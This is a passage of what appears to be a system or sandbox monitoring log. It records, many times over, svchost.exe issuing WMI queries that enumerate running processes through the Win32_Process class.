Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
